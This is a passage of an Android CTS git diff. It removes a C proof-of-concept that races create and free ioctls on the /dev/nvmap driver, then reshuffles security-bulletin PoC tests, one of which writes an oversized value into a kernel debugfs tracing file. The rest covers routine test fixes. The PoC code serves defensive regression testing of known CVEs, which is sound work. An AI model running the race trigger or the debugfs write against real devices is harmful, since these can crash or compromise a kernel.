-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
-	__u32 handle;		/* nvmap handle */
-	__u32 param;		/* size/align/base/heap etc. */
-	unsigned long result;	/* returns requested info*/
-};
-
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
-    char* dev_path = "/dev/nvmap";
-    g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void trigger_nvmap_create() {
-    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
-    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
-    static int data = 1024;
-    ioctl(g_fd, NVMAP_IOC_FREE, data);
-    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
-}
-
-void prepare_data() {
-    void* data = calloc(1, 0x1000);
-
-    g_allocation = (struct nvmap_create_handle*)data;
-    g_allocation->size = 1024;
-
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(0, 2);
-
-    int i;
-    while (1) {
-        if (init == 0) {
-            pthread_mutex_lock(&mutex);
-            pthread_cond_wait(&cond, &mutex);
-            pthread_mutex_unlock(&mutex);
-            init = 1;
-        }
-        trigger_nvmap_free();
-    }
-}
-
-int main(int argc, char**argv) {
-    setup_privi_and_affinity(0, 1);
-    if (open_driver() < 0) {
-        return -1;
-    }
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        if (init == 0)
-            pthread_cond_signal(&cond);
-        trigger_nvmap_create();
-    }
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 4fcab24..2601d43 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -26,15 +26,4 @@
     public void testPocCVE_2016_3818() throws Exception {
         AdbUtils.runPoc("CVE-2016-3818", getDevice(), 60);
     }
-
-    /**
-     *  b/27532522
-     */
-    @SecurityTest
-    public void testPocCVE_2016_3809() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
deleted file mode 100644
index 5ed4c22..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 5641aee..158071d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -22,76 +22,6 @@
 public class Poc16_10 extends SecurityTestCase {
 
     /**
-     *  b/30904789
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6730() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906023
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6731() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906599
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6732() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906694
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6733() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907120
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6734() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907701
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6735() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30953284
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6736() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
-        }
-    }
-
-    /**
      *  b/30741779
      */
     @SecurityTest
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
new file mode 100644
index 0000000..da8da31
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_11 extends SecurityTestCase {
+
+    /**
+     *  b/30904789
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6730() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906023
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6731() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906599
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6732() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30906694
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6733() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907120
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6734() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30907701
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6735() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/30953284
+     */
+    @SecurityTest
+    public void testPocCVE_2016_6736() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
deleted file mode 100644
index 8ae30d6..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_12 extends SecurityTestCase {
-
-    //Criticals
-    /**
-     *  b/31606947
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8424() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31797770
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8425() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799206
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8426() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799885
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8427() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
-              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31993456
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8428() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32160775
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32225180
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8430() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32402179
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8431() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32447738
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8432() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32125137
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8434() throws Exception {
-        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
-            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31668540
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8460() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
-            assertTrue(!result.equals("Vulnerable"));
-        }
-    }
-
-    /**
-     *  b/32659848
-     */
-    @SecurityTest
-    public void testPoc32659848() throws Exception {
-        String command =
-            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 4fd98b7..3446507 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -21,13 +21,117 @@
 @SecurityTest
 public class Poc17_01 extends SecurityTestCase {
 
+    //Criticals
     /**
-     *  b/31799863
+     *  b/31797770
      */
     @SecurityTest
-    public void testPocCVE_2016_8482() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+    public void testPocCVE_2016_8425() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
         }
     }
+
+    /**
+     *  b/31799206
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8426() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31799885
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8427() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31993456
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8428() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32160775
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8429() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32225180
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+   /**
+     *  b/32402179
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8431() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32447738
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8432() throws Exception {
+        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/32125137
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8434() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/31668540
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8460() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+            assertTrue(!result.equals("Vulnerable"));
+        }
+    }
+
+    /**
+     *  b/32659848
+     */
+    @SecurityTest
+    public void testPoc32659848() throws Exception {
+        String command =
+            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
+        AdbUtils.runCommandLine(command, getDevice());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index 44f7d27..fc68707 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -29,4 +29,14 @@
       String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
       assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
   }
+
+    /**
+     *  b/31799863
+     */
+    @SecurityTest
+    public void testPocCVE_2016_8482() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvmap")) {
+            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a8e4574..331872d 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -228,7 +228,7 @@
 
         Thread.sleep(WAIT_TIME_SHORT);
         setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
+        Thread.sleep(WAIT_TIME_LONG);
 
         List<Atom> atomList = getGaugeMetricDataList();
 
diff --git a/hostsidetests/theme/assets/24/400dpi.zip b/hostsidetests/theme/assets/24/400dpi.zip
new file mode 100755
index 0000000..b76e564
--- /dev/null
+++ b/hostsidetests/theme/assets/24/400dpi.zip
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>hostsidetests/theme/assets/26/400dpi.zip - platform/cts - Git at Google</title><link rel="stylesheet" type="text/css" href="/+static/base.8PwAX-dsywmU2hx_vi_YSA.cache.css"><link rel="stylesheet" type="text/css" href="/+static/prettify/prettify.pZ5FqzM6cPxAflH0va2Ucw.cache.css"><!-- default customHeadTagPart --></head><body class="Site"><header class="Site-header"><div class="Header"><a class="Header-image" href="/"><img src="//www.gstatic.com/images/branding/lockups/2x/lockup_git_color_108x24dp.png" width="108" height="24" alt="Google Git"></a><div class="Header-menu"> <a class="Header-menuItem" href="https://accounts.google.com/AccountChooser?service=gerritcodereview&amp;continue=https://android.googlesource.com/login/platform/cts/%2B/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">Sign in</a> </div></div></header><div class="Site-content"><div class="Container "><div class="Breadcrumbs"><a class="Breadcrumbs-crumb" href="/?format=HTML">android</a> / <a class="Breadcrumbs-crumb" href="/platform/">platform</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/">cts</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14">android-cts-8.0_r14</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/">.</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests">hostsidetests</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme">theme</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets">assets</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26">26</a> / <span class="Breadcrumbs-crumb">400dpi.zip</span></div><div class="u-sha1 u-monospace BlobSha1">blob: d624bd54df060b534c62c07b8cf8b70b126b8f58 [<a href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">file</a>] [<a href="/platform/cts/+log/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">log</a>] [<a href="/platform/cts/+blame/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">blame</a>]</div><div class="FileContents-binary">8615086-byte binary file</div></div> <!-- Container --></div> <!-- Site-content --><footer class="Site-footer"><div class="Footer"><span class="Footer-poweredBy">Powered by <a href="https://gerrit.googlesource.com/gitiles/">Gitiles</a>| <a href="https://policies.google.com/privacy">Privacy</a></span><span class="Footer-formats"><a class="u-monospace Footer-formatsItem" href="?format=TEXT">txt</a> <a class="u-monospace Footer-formatsItem" href="?format=JSON">json</a></span></div></footer></body></html>
\ No newline at end of file
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 05e0d95..de107c7 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -89,7 +89,7 @@
         super.setUp();
 
         mDevice = getDevice();
-
+        mDevice.executeShellCommand("settings put system font_scale 1.0");
         final String density = getDensityBucketForDevice(mDevice);
         final String referenceZipAssetPath = String.format("/%s.zip", density);
         mReferences = extractReferenceImages(referenceZipAssetPath);
@@ -144,7 +144,7 @@
 
     public void testThemes() throws Exception {
         if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
+            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
             return;
         }
 
@@ -288,6 +288,7 @@
 
     private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
         return hardwareTypeString.contains("android.hardware.type.watch")
-                || hardwareTypeString.contains("android.hardware.type.television");
+                || hardwareTypeString.contains("android.hardware.type.television")
+                || hardwareTypeString.contains("android.hardware.type.automotive");
     }
 }
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index 7db9a76..d20e1a4 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -277,6 +277,16 @@
     }
 
     public void requestFocus() {
+        new PollingCheck(LOAD_TIMEOUT) {
+            @Override
+            protected boolean check() {
+                requestFocusOnUiThread();
+                return hasFocus();
+            }
+        }.run();
+    }
+
+    private void requestFocusOnUiThread() {
         runOnUiThread(new Runnable() {
             @Override
             public void run() {
@@ -285,6 +295,15 @@
         });
     }
 
+    private boolean hasFocus() {
+        return getValue(new ValueGetter<Boolean>() {
+            @Override
+            public Boolean capture() {
+                return mWebView.hasFocus();
+            }
+        });
+    }
+
     public boolean canZoomIn() {
         return getValue(new ValueGetter<Boolean>() {
             @Override
diff --git a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
index ab377d9..f38348c 100644
--- a/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/ExpandableListTestActivity.java
@@ -26,6 +26,7 @@
 import android.view.ContextMenu;
 import android.view.View;
 import android.view.ContextMenu.ContextMenuInfo;
+import android.support.test.InstrumentationRegistry;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
 import android.widget.SimpleExpandableListAdapter;
@@ -114,23 +115,29 @@
         return RESULT_OK;
     }
 
-    private int testSelecte() {
+    private int testSelect() {
         final ExpandableListView v = getExpandableListView();
-        for (int i = 0; i < 20; i++) {
-            v.expandGroup(i);
-            setSelectedGroup(i);
-            for (int k = 0; k < 15; k++) {
-                setSelectedChild(i, k, false);
-                if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
-                    return RESULT_CANCELED;
-            }
+        try {
+            // Make sure the touch mode is disabled since selection doesn't work in touch mode.
+            InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+            for (int i = 0; i < 20; i++) {
+                v.expandGroup(i);
+                setSelectedGroup(i);
+                for (int k = 0; k < 15; k++) {
+                    setSelectedChild(i, k, false);
+                    if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
+                        return RESULT_CANCELED;
+                }
 
-            for (int k = 0; k < 15; k++) {
-                setSelectedChild(i, k, true);
-                if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
-                    return RESULT_CANCELED;
+                for (int k = 0; k < 15; k++) {
+                    setSelectedChild(i, k, true);
+                    if (ExpandableListView.getPackedPositionForChild(i, k) != getSelectedPosition())
+                        return RESULT_CANCELED;
+                }
+                v.collapseGroup(i);
             }
-            v.collapseGroup(i);
+        } finally {
+            InstrumentationRegistry.getInstrumentation().setInTouchMode(true);
         }
         return RESULT_OK;
     }
@@ -140,7 +147,7 @@
         super.onResume();
         final String action = getIntent().getAction();
         if (LaunchpadActivity.EXPANDLIST_SELECT.equals(action)) {
-            setResult(testSelecte());
+            setResult(testSelect());
         } else if (LaunchpadActivity.EXPANDLIST_VIEW.equals(action)) {
             setResult(testView());
         } else if (LaunchpadActivity.EXPANDLIST_CALLBACK.equals(action)) {
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index b6a031a..ae58e43 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1009,7 +1009,8 @@
             uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null);
             uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
             uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
-
+            // Remove tempwhitelist avoid temp white list block idle command and app crash occur.
+            executeShellCmd("cmd deviceidle tempwhitelist -r " + SIMPLE_PACKAGE_NAME);
             // Good, now stop the service and wait for it to go away.
             mContext.stopService(mServiceStartForegroundIntent);
             conn.waitForDisconnect();
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index be30de1..747c52e 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -437,11 +437,13 @@
      * lifetime tests.
      */
     private void launchHome() throws Exception {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.addCategory(Intent.CATEGORY_HOME);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        Thread.sleep(WAIT_TIME);
+        if (!noHomeScreen()) {
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.addCategory(Intent.CATEGORY_HOME);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mContext.startActivity(intent);
+            Thread.sleep(WAIT_TIME);
+        }
     }
 
    /**
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 40774c7..871503f 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -43,6 +43,8 @@
 import android.telephony.TelephonyManager;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.HashSet;
@@ -495,6 +497,7 @@
                 !mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
